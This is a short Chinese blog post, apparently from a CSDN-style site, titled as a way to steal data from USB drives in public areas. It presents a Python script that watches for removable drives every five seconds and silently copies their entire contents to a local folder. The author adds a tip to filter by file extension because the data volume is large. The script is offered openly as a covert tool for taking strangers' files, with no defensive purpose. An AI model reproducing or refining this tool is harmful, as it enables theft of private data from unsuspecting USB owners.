公共区域U盘窃取数据

#!usr/bin/env python3
#!_*_ conding:utf-8 _*_
#!@Author:大秋神
#!@Time:2019-07-30 下午 12:02
import os,shutil,datetime,psutil,time
s_path = r"E:\大秋神"
while True:
    #遍历磁盘
    for i in psutil.disk_partitions():
        if "removable" in i[3]:  #i[3] 判断是否是移动盘
            # U盘
            u_path =i[0]  #i[0] 是代表盘符
            # #存的位置
            if os.path.exists(u_path): #判断路径是否存在
          
                     print("正在复制U盘%s" % i[0])
                     shutil.copytree(u_path,os.path.join(s_path,datetime.datetime.now().strftime("%Y%m%d_%H%M%S")))
                     print("U盘%s复制结束"% i[0])
        
        else:
                
                print("没有检测到U盘")
    time.sleep(5)  #每5秒等待

s_path : 自己修改,其他的可以不修改

通过psutil模块获取可移动设备,遍历出可以移动设备的盘符,然后进行判断路径,然后使用shutil模块进行数据拷贝。

为了保证随时监测U盘存在,使用while一直监听。

PS:因为数据量太大,可以在修改源代码,获取指定后缀名的数据,方便快捷

-----------------------------------------------------------------------------------------------------------------------------------------大秋神

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值